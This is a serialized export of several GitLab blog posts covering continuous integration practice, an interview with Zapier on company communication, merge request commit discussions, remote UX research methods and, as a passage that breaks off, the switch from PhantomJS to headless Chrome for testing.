alt=\"Download artifacts\" style=\"width: 700px;\"/>{: .shadow}\n\n## CI/CD environments\n\nIn a similar way, a job can deploy something to an external server, so you can reach it through the merge request itself.\n\nAs you can see, the environment has a name and a link. Just by clicking the link you to go to a deployed version of your application (of course, if your team has set it up correctly).\n\nYou can also click on the name of the environment, because GitLab also has other cool features for environments, like [monitoring](https://gitlab.com/help/ci/environments.md).\n\n\u003Cimg src=\"/images/blogimages/environment.png\" alt=\"environment\" style=\"width: 700px;\"/>{: .shadow}\n\n## Conclusion\n\nThis was a small introduction to some of the features of GitLab CI: it is very powerful, and using it in the right way allows all the team to use just one tool to go from planning to deploying. A lot of new features are introduced every month, so keep an eye on the [GitLab blog](/blog/).\n\nFor setting it up, or for more advanced features, take a look at the [documentation](https://docs.gitlab.com/ee/ci/).\n\nIn fleetster we use it not only for running tests, but also for having automatic versioning of the software and automatic deploys to testing environments. We have automated other jobs as well (building apps and publishing them on the Play Store and so on).\n\n\n## About the guest author\n\nRiccardo is a university student and a part-time developer at [fleetster](https://www.fleetster.net/). When not busy with university or work, he likes to contribute to open source projects.\n\n *[An introduction to continuous integration](https://rpadovani.com/introduction-gitlab-ci) was originally published on rpadovani.com.*\n\n*Cover photo by [Mike Tinnion](https://unsplash.com/photos/3ym6i13Y9LU?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText) on [Unsplash](https://unsplash.com/)*\n{: .note}\n",[110,4772],{"slug":34239,"featured":6,"template":678},"a-beginners-guide-to-continuous-integration","content:en-us:blog:a-beginners-guide-to-continuous-integration.yml","A Beginners Guide To Continuous Integration","en-us/blog/a-beginners-guide-to-continuous-integration.yml","en-us/blog/a-beginners-guide-to-continuous-integration",{"_path":34245,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":34246,"content":34251,"config":34256,"_id":34258,"_type":16,"title":34259,"_source":17,"_file":34260,"_stem":34261,"_extension":20},"/en-us/blog/craftsman-looks-at-continuous-integration",{"title":34247,"description":34248,"ogTitle":34247,"ogDescription":34248,"noIndex":6,"ogImage":13020,"ogUrl":34249,"ogSiteName":1180,"ogType":1181,"canonicalUrls":34249,"schema":34250},"A Craftsman looks at continuous integration","Guest author Steve Ropa shares his ideal continuous integration processes for catching errors early and shipping the best software possible.","https://about.gitlab.com/blog/craftsman-looks-at-continuous-integration","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"A Craftsman looks at continuous integration\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Steve Ropa\"}],\n        \"datePublished\": \"2018-01-17\",\n      }",{"title":34247,"description":34248,"authors":34252,"heroImage":13020,"date":34253,"body":34254,"category":8943,"tags":34255},[33587],"2018-01-17","\nIf your version of continuous integration is just daily builds, ignoring failed tests, or not testing at all, you're doing it wrong.\n\n\u003C!-- more -->\n\n(I’d like to start with a thank you to Jimmy Buffett, as I listen to “A pirate looks at forty” while I write this post…)\n\nI visit a lot of different development teams, and at some point the subject of continuous integration comes up. Shortly after that comes the conversation around [continuous integration tools](/solutions/continuous-integration/). That usually gets kind of religious, but it is absolutely worth talking about. The conversation tends to follow a similar track. Usually it is something to the effect of “Well, we have a [CI server](https://about.gitlab.com/topics/ci-cd/continuous-integration-server/), and we use it for our daily builds, but that’s about it. Then when I ask what else they want to get from their CI tools, I usually get either a blank stare or a long story about what would be awesome if they:\n\n- Had more time.\n- Had someone whose entire job was to manage the continuous integration environment.\n- Were at a different company.\n\nSo this got me thinking, as a [Craftsman](http://manifesto.softwarecraftsmanship.org/), how do I feel about this, and how do I feel about continuous integration in the first place? I came up with a few thoughts.\n\n## Daily builds are NOT continuous integration\n\nIt is often said in Extreme Programming circles that Daily Builds are for Wimps. I don’t know if I’d go that far, but I will say that daily builds are nowhere near frequent enough. One of the primary values we gain from CI is the ability to have very short feedback loops. If I only find out once a day whether or not the work I did fits with the rest of the code base, then I am adding at least eight hours of latency to my system. In most cases, more than that, since “daily builds” are actually nightly builds, leaving us open to walking in each morning to an ugly mess. And don’t even get me started on weekends!\n\nIt’s much easier to find and fix a small changeset, say a few lines and a couple tests, than to have to go back through an entire day’s work to find the error or errors. And this problem is compounded if you have a larger team, or worse, a couple of teams using the same code base.  Now you have many levers to pull and dials to turn before you can find what really broke.\n\nOr yet worse, you will have committed a day’s worth of work and then found out the next day that someone else committed something that completely nullified your work.\n\n## A continuous integration process is more than just the build\n\nI actually am surprised that in this day and age there are teams that believe their job is done if the code compiles, without running any tests. Every continuous integration tool out there provides for automated unit testing at a minimum, usually far more than just that. A good CI process includes continuous Unit Test, and ideally continuous Acceptance Test as well.\n\nI know, you are thinking “Here we go again, another push for test-driven development and automated acceptance tests.” You’re right. Any true Craftsman uses all the tools and modern techniques available to them. That means unit tests that run every time you check in. And automated acceptance tests that run after that. A good CI process includes all of the appropriate elements.\n\nIt’s not enough to just push to your GitLab repo and have the server run a build. The days of “If it compiles it ships” are long gone. And that’s a good thing. We have a responsibility to be better than that, and modern tools and techniques make that possible. I would much prefer a CI process that includes:\n\n- Kickoff on every check-in. This is especially easy with modern repos like GitLab that provide hooks and integrations with all of the major Continuous Integration tools.\n- Build *all* of the code and libraries.\n- Run *all* of the unit and acceptance tests.\n- Report on any errors, preferably failing the build if they occur.\n\nWe can talk about going further into continuous delivery and deployment later, but those can be managed in the same way.\n\n## Listen to your continuous integration server\n\nThe proper response to a notification from your CI environment that the build or one of the tests failed is not to find the offending test and #ignore it. A failed build notification means “Everybody stop! The build is failing so our environment is technologically unsafe until this gets fixed!” Take that message seriously. Everybody stop. Find out what went wrong, and fix it. And only then do you continue with business as usual.\n\nIf we as Craftsmen see our job as to create the best software possible for our customers, we need to take these things seriously. We can either have a “CI Server” that does daily or even less frequent builds, and check the box, or we can be serious about what we do. We have a lot of tools available, and if we choose the best tools we need to use them to their fullest extent.  That is how we become truly great at our Craft.\n\n## About the guest author\n\nSteve Ropa is a Co-founder and Master Craftsman at the Rocky Mountain Programmers Guild in Denver Colorado, where he brings his long career of successful software delivery to bring developers and teams to new levels of performance and Craftsmanship.\n\nCover image by [chuttersnap](https://unsplash.com/photos/tUSN3PNeX1U?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText) on [Unsplash](https://unsplash.com/search/photos/coil?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText)\n{: .note}\n",[1384],{"slug":34257,"featured":6,"template":678},"craftsman-looks-at-continuous-integration","content:en-us:blog:craftsman-looks-at-continuous-integration.yml","Craftsman Looks At Continuous Integration","en-us/blog/craftsman-looks-at-continuous-integration.yml","en-us/blog/craftsman-looks-at-continuous-integration",{"_path":34263,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":34264,"content":34270,"config":34276,"_id":34278,"_type":16,"title":34279,"_source":17,"_file":34280,"_stem":34281,"_extension":20},"/en-us/blog/zapier-pick-your-brain-interview",{"title":34265,"description":34266,"ogTitle":34265,"ogDescription":34266,"noIndex":6,"ogImage":34267,"ogUrl":34268,"ogSiteName":1180,"ogType":1181,"canonicalUrls":34268,"schema":34269},"Scaling communication at Zapier","GitLab CEO Sid Sijbrandij sits down with Zapier team members to chat about communication challenges in each growing company.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749680279/Blog/Hero%20Images/zapier-pyb-post.jpg","https://about.gitlab.com/blog/zapier-pick-your-brain-interview","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Scaling communication at Zapier\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Noah Manger\"}],\n        \"datePublished\": \"2018-01-08\",\n      }",{"title":34265,"description":34266,"authors":34271,"heroImage":34267,"date":34273,"body":34274,"category":6634,"tags":34275},[34272],"Noah Manger","2018-01-08","\n_On November 17, Mike Knoop and Noah Manger of Zapier [sat down with GitLab’s CEO Sid Sijbrandij](/handbook/eba/ceo-scheduling/#pick-your-brain-meetings) to discuss the way the two companies approach the challenge of scaling communication as a company grows. This transcript has been lightly edited for clarity._\n\n\u003C!-- more -->\n\n**The heartbeat of our organization is our weekly Friday Update posts that everyone at the company writes. The problem is that as we’ve grown, it’s become a tremendous amount of information. We’re really good at generating the firehose of content, but not as good at consuming it. So I’d love to learn what processes you use at GitLab and if you feel like you’ve got a good grip on this problem?**\n\nWe have a #working-on Slack channel but I’m working on killing it because I just don’t care what people in another part of the company are working on. I just don’t care. There are just too many people at 200 people.\n\nWhat works really well for us are the [functional group updates](/handbook/group-conversations/). Every day of the week there’s a presentation (for a maximum of 25 minutes) by a team lead with a slide deck of what they’re working on, and there's an opportunity to ask questions. So you get to stay updated about what all the development teams are doing, what sales is doing, what marketing is doing, what legal is doing, what partnerships is doing. It’s on a three-week rotation so 15 different functional areas and then we start over from the top.\n\n**Do you measure how many people consume this content?**\n\nLive in the call it’s about 50 but it differs on the matter. It’s planned for every single day. We hadn’t scheduled them for a month or two and everyone in the company reported feeling out of touch about where the company was going and what people were working on.\n\nWe are doing asynchronous stand-ups, but it’s just for something that’s a high priority project and there’s a chance of delay that we can’t afford. Right now there are three groups on asynchronous stand-ups that are super high-priority projects and we want to make sure that nobody’s blocked. So someone posts a message saying “Asynchronous stand-up for today” and then everyone posts in the thread what they’re working on and may be blocked on.\n\nNormally we don’t do it and we just work in [GitLab issues](https://docs.gitlab.com/ee/user/project/issues/). When you start working on something you assign your name to it, and so if you want to know what someone is working on you see what issues are assigned to them.\n\n**Why did you choose to do functional updates as videos rather than written?**\n\nIt allows for more interaction. Yesterday my update had three topics and I had a slide for each. People ask questions mostly in the chat feed in Zoom. Sometimes if they have an elaborate question I’ll ask them to explain more verbally. We spend 15-20 minutes on people asking questions. That’s what we want — it’s not typical — but that’s where we want to go. Sometimes people have a lot to present and talk for 20 minutes, but we want to try to split those up and constrain the presenting part to 10 minutes.\n\nAnd if they’re over in 10 or 15 minutes and nobody has any questions, that’s great.\n\nAnd one thing: the presentation slides have to be linked to in the invite before the presentation starts. People have to be able to invest one minute to click through the presentation to see if they need to join the call, or they can just say “This is great and I don’t need to join.” And obviously everything is recorded: it’s put into our Google Drive and you can see everything and the ones that are able to be public will be posted every Friday.\n\n**Is it typical for someone to join every update?**\n\nI join about two thirds of them.\n\n**So if someone were to join every one it’d be a two-and-a-half-hour time commitment every week?**\n\nYeah, but you won’t be asked any questions so you’re able to multitask and zone out if you don’t need to pay attention.\n\n**You’re global, so how do you deal with time zones? Do you rotate it around so other people are able to join?**\n\nYou’re not expected to join at all. These are optional; join them if you want to. But time zones are the bane of our existence. Most of our people are either in Europe or the Americas, so we do this in our most convenient time zones. So our functional updates are at 8am Pacific and our team call is at 8:30am Pacific. There’s been a trend of scheduling meetings over this but we’re trying to prevent that.\n\n**What percentage of content about the company do people consume over video versus writing?**\n\nIt depends. It depends on how they like to consume content. If you’re good with written content, you can get by with the handbook and the presentations. If you like to consume it by listening and hearing people interact, then the video calls are a good way to do it. What’s important is that we make both ways available and then people can do it as they please.\n\n>If you’re good with written content, you can get by with the handbook and the presentations. If you like to consume it by listening and hearing people interact, then the video calls are a good way to do it. What’s important is that we make both ways available and then people can do it as they please.\n\nAnd some people might not care so much! Some people are happy being an open source developer and don’t care about the machinations of a company and that is A-OK. We’re not going to force you to sit through this or check your attendance rate. That is just fine.\n\nBut some people really care and they care about all the aspects. They joined a startup because they want to know what’s happening. For example, when we were doing fundraising we had a fundraising Slack channel and people were asking questions like “What’s the liquidation preference?” And that’s great. If you’re interested we’re not trying to shield you; we don’t want you to get too distracted but it’s there if you want to dive in.\n\n**Do you find people have anxiety around keeping up with information and being concerned they’re not missing things?**\n\nWhat people report is that starting here is overwhelming. The first month is a dark place. We never have people quit during that time but everyone reports that it’s super hard on them. We have one onboarding issue that has about 100 checkboxes you need to check off. And we try to have it all go by what you do on Day 1, Day 2. But it’s very overwhelming. We try to figure out what to cut, but everyone says “No, it’s good to have it all there.” When you first join you have access to the entire map of GitLab so you have to constrain your view.\n\n**Are there other things that you do to help teams know what other teams are doing around the organization?**\n\nWell the [handbook](/handbook/) is really important. That contains all our processes, all the different departments, how they operate, who’s responsible, what Slack channels they’re on, which issue trackers they use; our definitions; our stages in the sales process. Everything should be in there. It’s hard to get right, so it’s a constant focus of my attention. But the idea is if you want to make a change to the company you propose an edit to the handbook, make a merge request, and then if you merge it you announce it. It’s the best handbook in the world; there’s lots of room for improvement, but it’s good and lets you see how lots of different parts of the company operate.\n\nAnd of course we use our own tools. So our customer success team uses an [issue board](https://gitlab.com/gitlab-com/customer-success/sa-service-desk/boards/339477?=) so you can see what they’re doing and what stage it’s in. So we try to use our issue boards and our static websites so you can peer into any part of the company.\n\nOne thing we’re still getting better at is how to expose metrics. We already have a good metrics sheet that’s up to date, consuming all the revenue models and everything we have, but I want that to be a real-time thing that looks a bit prettier and has some better graphs.\n\nAnother thing we do to keep everyone posted is everyone gets the investor update. So every single month, between the 10th and 15th, we send out an investor update about what was good, what was bad, and all our core metrics and everyone in the company gets it.\n\n**Do people find that helpful?**\n\nI think people find it helpful. I believe if you want people to invest in the company you have to treat them like investors – which they are, because they have options. I think what people pay attention to most is runway (months of cash remaining) and what’s bad.\n\n**One thing we’ve heard is that people want a weekly set of highlights of the things that they need to know. Do you do anything like that?**\n\nI’ve never heard that. If your communication is any good, you repeat yourself a lot. I have a #ceo Slack channel, so hopefully what I say there is congruent with what I say in the investor update is congruent with what the leaders in marketing and sales are saying, etc. We’re not trying to make it the same message, but in a perfect world it’d be the same message.\n\n>If your communication is any good, you repeat yourself a lot.\n\nSo no, I’ve never heard the need for a summary. If I ever need to go find what sales was doing two weeks ago, I’d go find their functional update from two weeks ago.\n\n**If I switched to a new product team and I wanted to know what my new team has been working on, what would I do?**\n\nYou’d look at the functional updates. And also you could join the kickoffs and retrospectives, which happen every month and are broadcast live on [YouTube](https://www.youtube.com/c/Gitlab). So that’s another channel you could use.\n\n**At which stage in your growth did you start doing those functional updates?**\n\nI don’t know exactly. About 50 engineers. But it’s also because this is an open source project and people who are contributing to the project but aren’t part of GitLab are wondering what’s in the pipeline and what’s happening.\n\n**Do you have any internal blog or tools that people log into to get information about what the company is up to?**\n\nNo. There’s the handbook, but for regular updates that’s what the functional team updates and issue boards are for.\n\n**Do you feel like there’s things that aren’t shared that should be? Are those functional updates high enough bandwidth or frequent enough to get everything across?**\n\nWith our kickoffs, because they’re live broadcast, some of our product managers would get into presentation mode, like “Everything’s going to be wonderful!” There’s going to be some of that, but I think it could be more measured and raw. In our retrospectives there’s a more of that. People are also used to asking hard questions and getting praised for that. You say things like “Wow, that’s a hard question. That’s the best question we’ve got.”\n\n**If I’m a product manager and I’m about to release something that will affect the product and I don’t have a functional update this week, what’s the best way to do that?**\n\nFor the company, post in the general chat channel that will be consumed by many people and you mention the related people. If you need it externally you could do a blog post, but usually you could just do it in the issue and then tweet it from your personal account and it will be retweeted by GitLab.\n\n**So you depend on Slack for urgent notifications?**\n\nSlack is great for urgency. It’s its downfall as well.\n\n**What have been either pain points or surprises as you’ve gone from 100 to 200 people?**\n\nI think a pain point we’re experiencing right now is our team call. It’s too many people. We try to rotate people now, but after about 150 people, people lost track. And if you lose track you lose interest. So we’re thinking about getting a smaller group of people together, maybe even 7-15, and having them talk every day for a sustained period so you get to know them and then you switch up the groups.\n\nAlso, overuse of @channel mentions is a pet peeve. It’s only allowed if it’s urgent *and* important but people use them if it’s *only* urgent or *only* important. Those should just be posted without an @channel or @here mention. If my Slack always has a constant red thing then I’ll stop paying attention. It’s a tragedy of the commons.\n\n**Do you have any tricks for organizing Slack?**\n\nThere’s a few special channels: #thanks where we call people out for helping that gets about 10 posts a day and that’s one of my favorite channels.\n\nThere’s an #emotional channel where you can just complain about shit. And that’s allowed and encouraged and we give teddy bear emojis back.\n\n**How many channels do you have?**\n\nHundreds. More channels than people.\n\n**How do people navigate that when they join? Do you do anything to help them figure out which channels to join?**\n\nIt’s organic. These people already feel overwhelmed, do you want to give them more channels? It just gets worse. And in the handbook you can see what the channels are for your group.\n\n**Since we’re talking about cross-team collaboration, can you tell us about your summit?**\n\nWe try to do it every nine months and it’s forbidden to organize functional meetings there. So you can’t meet with the just sales or marketing team. Instead we have an '[unconference](https://en.wikipedia.org/wiki/Unconference)' based on the Lobby Conference, that’s built on user-generated content. We have two half days where people propose subjects, people vote on them, and someone kicks things off for five minutes and then a group of 15-20 people discuss it for 50 minutes.\n\nYou know the people in your team already, so we said “Please, please, please meet with other people.” The top two sessions at the last one were on avoiding burnout and how to keep yourself motivated while working at home. I was glad to see people organized sessions like that because we can do the purely job-related stuff at other times.\n\n**Well thanks. This has been really great and has challenged some of our assumptions. We’ve been assuming that we’re generating all this content and we need to figure out what the right curation layer is. But it sounds like you’ve been very successful at reducing the amount of content that’s generated in the first place but forcing it all to go through those channels, which solves the curation problem that way.**\n\n\n## About the guest author\n\nNoah Manger is a product manager, designer and developer, currently leading the Internal Tools team at Zapier. He lives in Portland, Oregon.\n\nCover image by [Alexandr Bormotin](https://unsplash.com/@bormot) on [Unsplash](https://unsplash.com/photos/Hd8b_WtKIck).\n",[3949,3798,2368],{"slug":34277,"featured":6,"template":678},"zapier-pick-your-brain-interview","content:en-us:blog:zapier-pick-your-brain-interview.yml","Zapier Pick Your Brain Interview","en-us/blog/zapier-pick-your-brain-interview.yml","en-us/blog/zapier-pick-your-brain-interview",{"_path":34283,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":34284,"content":34290,"config":34295,"_id":34297,"_type":16,"title":34298,"_source":17,"_file":34299,"_stem":34300,"_extension":20},"/en-us/blog/comment-on-commits-feature-tutorial",{"title":34285,"description":34286,"ogTitle":34285,"ogDescription":34286,"noIndex":6,"ogImage":34287,"ogUrl":34288,"ogSiteName":1180,"ogType":1181,"canonicalUrls":34288,"schema":34289},"Demo: How to use Merge Request Commit Discussions","You can now hold discussions on specific commits within a merge request – check out how it works in this video.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749680285/Blog/Hero%20Images/merge-request-commit-discussions.jpg","https://about.gitlab.com/blog/comment-on-commits-feature-tutorial","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Demo: How to use Merge Request Commit Discussions\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Victor Wu\"}],\n        \"datePublished\": \"2018-01-04\",\n      }",{"title":34285,"description":34286,"authors":34291,"heroImage":34287,"date":34292,"body":34293,"category":734,"tags":34294},[30512],"2018-01-04","\n\nIn [GitLab 10.3](/releases/2017/12/22/gitlab-10-3-released/) we released a new feature: [Merge Request Commit Discussions](/releases/2017/12/22/gitlab-10-3-released/#merge-request-commit-discussions). This is great news for teams who work at the individual commit level, who want to be able to discuss and collaborate on different commits within one merge request. Watch the video below to see this new workflow in action.\n\n\u003C!-- more -->\n\nIn short: this feature (available in both GitLab [Community and Enterprise Editions](/stages-devops-lifecycle/)) allows you to add comments to [commits within a merge request](/solutions/continuous-integration/). Before you could only add comments to a particular version of a merge request. In the video, you'll see how now when you navigate to a specific commit, you're taken to the \"Changes\" tab, but instead of viewing the latest version, you see the diff associated with that commit.\n\nYou can then leave a comment inline as you would usually, the difference being that your comment now starts a conversation relating specifically to that commit.\n\nIf you leave a comment on another commit, that begins a separate discussion as well. All are accessible from the \"Commits\" tab or the Discussions\" tab. You can resolve discussions as usual, with resolved discussions being collapsed by default, similar to before.\n\n\u003C!-- blank line -->\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube.com/embed/TviJH6oRboo\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\u003C!-- blank line -->\n\nWe hope teams who need a more granular approach to approving merge requests will find this useful! As usual, we welcome your feedback – be it on the [release blog post](/releases/2017/12/22/gitlab-10-3-released/) or by opening an issue.\n\n[Cover image](https://unsplash.com/photos/qm3nnbaBl_4) by [Matthew Brodeur](https://unsplash.com/@mrbrodeur) on Unsplash\n{: .note}\n",[754,2368],{"slug":34296,"featured":6,"template":678},"comment-on-commits-feature-tutorial","content:en-us:blog:comment-on-commits-feature-tutorial.yml","Comment On Commits Feature Tutorial","en-us/blog/comment-on-commits-feature-tutorial.yml","en-us/blog/comment-on-commits-feature-tutorial",{"_path":34302,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":34303,"content":34308,"config":34313,"_id":34315,"_type":16,"title":34316,"_source":17,"_file":34317,"_stem":34318,"_extension":20},"/en-us/blog/conducting-remote-ux-research",{"title":34304,"description":34305,"ogTitle":34304,"ogDescription":34305,"noIndex":6,"ogImage":11919,"ogUrl":34306,"ogSiteName":1180,"ogType":1181,"canonicalUrls":34306,"schema":34307},"Conducting remote UX research at GitLab","Learn about the different kinds of UX research we conduct at GitLab.","https://about.gitlab.com/blog/conducting-remote-ux-research","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Conducting remote UX research at GitLab\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Sarah O’Donnell\"}],\n        \"datePublished\": \"2017-12-20\",\n      }",{"title":34304,"description":34305,"authors":34309,"heroImage":11919,"date":34310,"body":34311,"category":734,"tags":34312},[28658],"2017-12-20","GitLab is a [remote-only](http://www.remoteonly.org/) organization and just like our [team](/company/team/), our users are spread across the globe. Conducting remote UX research allows us to quickly connect with GitLab users anywhere in the world. It provides us with the opportunity to gather insight into users’ behaviors, motivations and goals when using GitLab. This helps us to determine what features should be built and how they should behave. But how do we do all this remotely?\n\n\u003C!-- more -->\n\nThese are some of the remote UX research methods we use at GitLab.\n\n## Card sorting\n\nCard sorting is a research method for discovering how people understand and categorize information. Each card represents an item or a topic and we ask users to group the cards in a way that makes sense to them. We may also ask them to help us label these groups.\n\nCard sorting can be used to:\n\n- Help design the information architecture of your application\n- Establish what information should be on a page and in what order that information should appear\n- Provide a ranking for items or topics based on a set criteria\n\nWhen analyzing a card sort, we look for common patterns such as which cards appear together the most and which cards are labeled in a similar way.\n\nAt GitLab, we’re currently using card sorting to restructure the sidebar navigation at a project and group level. We want to understand how you, our users, would expect our features to be grouped and classified. Our aim is to improve the ease and the speed at which you navigate around GitLab. We conduct remote card sorting via [Optimal Workshop](https://www.optimalworkshop.com/).\n\n## First-click testing\n\nFirst-click testing explores what users click on first when completing a task within an interface. It tells us whether users are able to find what they’re looking for quickly and easily. This research method is based on the principle that users are two to three times more likely to find what they are looking for if their initial click is correct, rather than a click in the wrong direction.\n\nWe’ve used first-click testing at GitLab to quickly evaluate multiple design ideas against one another. We share our designs with users via [UsabilityHub](https://usabilityhub.com/). We measure whether users take the correct path and how long it takes them to decide where to click. A slower click time would suggest a user has hesitated about where to click.\n\nFirst-click testing is great for providing an indication of whether a design is intuitive to users and helps us to quickly narrow down multiple design concepts.\n\n## Surveys\n\nSurveys are used to investigate the opinions or experiences of users by asking them questions through an online form. A survey invites people to share open and honest feedback. Some people find them less intimidating than other forms of research as there is the option to remain anonymous when providing answers. They also allow us to track how the attitudes and behaviors of our users change over time.\n\nWe’ve used surveys to understand our users and form [personas](https://design.gitlab.com/), to generate new ideas for future GitLab improvements and to help measure users’ satisfaction with our existing features.\n\n## User interviews\n\nIf you take part in a user interview at GitLab, you’ll usually be speaking one on one with a UX researcher. In order to do this, you’ll need a desktop or laptop computer and a headset with a microphone.\n\nWe find that most of our users like to talk with us on their lunch break at their work station, whether situated at home or in an office. We love this, as it provides some insight into the environment in which you use GitLab.\n\nOften our interviews are focused on you! We’ll ask you to chat about things such as your background, occupation and experience with GitLab. Sometimes we might have a particular topic we’d like to discuss, such as how you’ve incorporated GitLab into your workflow. We’ll always tell you our intentions ahead of the call so you have time to think about what you’d like to contribute to the discussion. We also welcome you to share your screen with us during the call. We understand that it is sometimes easier to show and demonstrate something than it is to just talk about it!\n\nWe’ve used feedback from user interviews to:\n\n- Inform our [personas](https://docs.gitlab.com/ee/development/ux_guide/users.html)\n- Follow up on survey answers\n- Understand and develop objectives and goals for features\n\n## Usability testing\n\nUsability testing is a technique used to evaluate a product by testing it with representative users. Usability testing can be divided into two categories: moderated and unmoderated research.\n\n**Moderated**\n\nIf you participate in moderated usability testing at GitLab, you’ll complete a series of tasks whilst being observed by one of our UX researchers. In order to see what you're doing, we'll ask you to share your screen with us. We use [Zoom](https://zoom.us/) to run our moderated usability testing sessions.\n\nAs you use GitLab, we’ll ask you to try and think out loud: tell us what you’re looking at, what you’re trying to do and what you’re thinking. We’re interested in hearing your honest feedback. Sound scary? It really isn’t! It’s important to remember that we’re testing GitLab, not you. You can’t say or do anything wrong during a study.\n\nModerated research allows for conversation between a user and the UX researcher, because both are online simultaneously. It gives the researcher the opportunity to ask a user follow-up questions regarding something they’ve said or done. Subsequently, moderated research provides us with a lot of in-depth qualitative research about our users’ needs. It can help us to uncover usability problems that we weren’t aware of and to generate solutions to solve these problems.\n\n**Unmoderated**\n\nUnlike moderated research, unmoderated research doesn't involve any conversation between a user and a UX researcher. Instead, unmoderated usability testing sessions are completed alone by a user. As users can complete sessions at their own convenience and studies can be run simultaneously, they're good for collecting data quickly.\n\nWe use [Validately](https://validately.com/) to serve the tasks to you and to record your actions. We then analyze the data collected asynchronously. It is, however, still very helpful to us if you try and think out loud while you’re completing tasks.\n\nUnmoderated research can provide some qualitative data. However, as there’s no opportunity to ask users follow-up questions related to their actions, the study should focus on a few specific elements or relatively minor changes. Unmoderated research is usually better at addressing specific quantitative questions, such as:\n\n- What percentage of users successfully completed the task?\n- How long did it take users to complete the task?\n\nAs a researcher cannot view an unmoderated usability testing session until it's completed, there's a risk of a study being unusable if the user didn't complete the tasks as specified or if they ran into technical difficulties.\n\nWe conduct both moderated and unmoderated usability testing sessions at GitLab to test new features and changes to existing features.\n\n## How can I get involved?\n\nWe’re always looking for people to participate in our research, whether you're a GitLab user or not. You can get involved by signing up for [GitLab First Look](/community/gitlab-first-look/), a comprehensive research program that will help us ship the features and fixes you need to do your best work.  Besides being instrumental in shaping the future of GitLab, you’ll have the opportunity to earn gift cards and win awesome tech prizes by sharing your feedback with us.\n",[3798,676,2249],{"slug":34314,"featured":6,"template":678},"conducting-remote-ux-research","content:en-us:blog:conducting-remote-ux-research.yml","Conducting Remote Ux Research","en-us/blog/conducting-remote-ux-research.yml","en-us/blog/conducting-remote-ux-research",{"_path":34320,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":34321,"content":34327,"config":34332,"_id":34334,"_type":16,"title":34335,"_source":17,"_file":34336,"_stem":34337,"_extension":20},"/en-us/blog/moving-to-headless-chrome",{"title":34322,"description":34323,"ogTitle":34322,"ogDescription":34323,"noIndex":6,"ogImage":34324,"ogUrl":34325,"ogSiteName":1180,"ogType":1181,"canonicalUrls":34325,"schema":34326},"How GitLab switched to Headless Chrome for testing","A detailed explanation with examples of how GitLab made the switch to headless Chrome.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749680270/Blog/Hero%20Images/headless-chrome-cover.jpg","https://about.gitlab.com/blog/moving-to-headless-chrome","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"How GitLab switched to Headless Chrome for testing\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Mike Greiling\"}],\n        \"datePublished\": \"2017-12-19\",\n      }",{"title":34322,"description":34323,"authors":34328,"heroImage":34324,"date":34329,"body":34330,"category":734,"tags":34331},[25432],"2017-12-19","\n\nGitLab recently switched from PhantomJS to headless Chrome for both our\nfrontend tests and our RSpec feature tests. In this post we will detail the\nreasons we made this transition, the challenges we faced, and the solutions we\ndeveloped. We hope this will benefit others making the switch.\n\n\u003C!-- more -->\n\nWe now have a truly accurate way to test GitLab within a real, modern browser.\nThe switch has improved our ability to write tests and debug them while running\nthem directly in Chrome. Plus the change forced us to confront and clean up a\nnumber of hacks we had been using in our tests.\n\n## Switching to headless Chrome from PhantomJS: background\n\n[PhantomJS](http://phantomjs.org) has been a part of GitLab's test framework\n[for almost five years](https://gitlab.com/gitlab-org/gitlab-ce/commit/ba25b2dc84cc25e66d6fa1450fee39c9bac002c5).\nIt has been an immensely useful tool for running browser integration tests in a\nheadless environment at a time when few options were available. However, it\nhad some shortcomings:\n\nThe most recent version of PhantomJS (v2.1.1) is compiled with a three-year-old\nversion of [QtWebKit](https://trac.webkit.org/wiki/QtWebKit) (a fork of WebKit\nv538.1 according to the user-agent string). This puts it on par with something\nlike Safari 7 on macOS 10.9. It resembles a real modern browser, but it's not\nquite there. It has a different JavaScript engine, an older rendering engine,\nand a host of missing features and quirks.\n\nAt this time, GitLab supports [the current and previous major\nrelease](https://docs.gitlab.com/ee/install/requirements.html#supported-web-browsers) of\nFirefox, Chrome, Safari, and Microsoft Edge/IE. This puts PhantomJS and its\ncapabilities somewhere near or below our lowest common denominator. Many modern\nbrowser features either [do not work](http://phantomjs.org/supported-web-standards.html),\nor [require vendor prefixes](http://phantomjs.org/tips-and-tricks.html) and\npolyfills that none of our supported browsers require. We could selectively\nadd these polyfills, prefixes, and other workarounds just within our test\nenvironment, but doing so would increase technical debt, cause confusion, and\nmake the tests less representative of a true production environment. In most\ncases we had opted to simply omit them or hack around them (more on this\n[later](#trigger-method)).\n\nHere's a screenshot of the way PhantomJS renders a page from GitLab, followed\nby the same page rendered in Google Chrome:\n\n![Page Rendered by PhantomJS](https://about.gitlab.com/images/blogimages/moving-to-headless-chrome/render-phantomjs.png){: .shadow.center}\n\n![Page Rendered by Google Chrome](https://about.gitlab.com/images/blogimages/moving-to-headless-chrome/render-chrome.png){: .shadow.center}\n\nYou can see in PhantomJS the filter tabs are rendered horizontally, the icons\nin the sidebar render on their own lines, the global search field is\noverflowing off the navbar, etc.\n\nWhile it looks ugly, in most cases we could still use this to run functional\ntests, so long as elements of the page remain visible and clickable, but this\ndisparity with the way GitLab 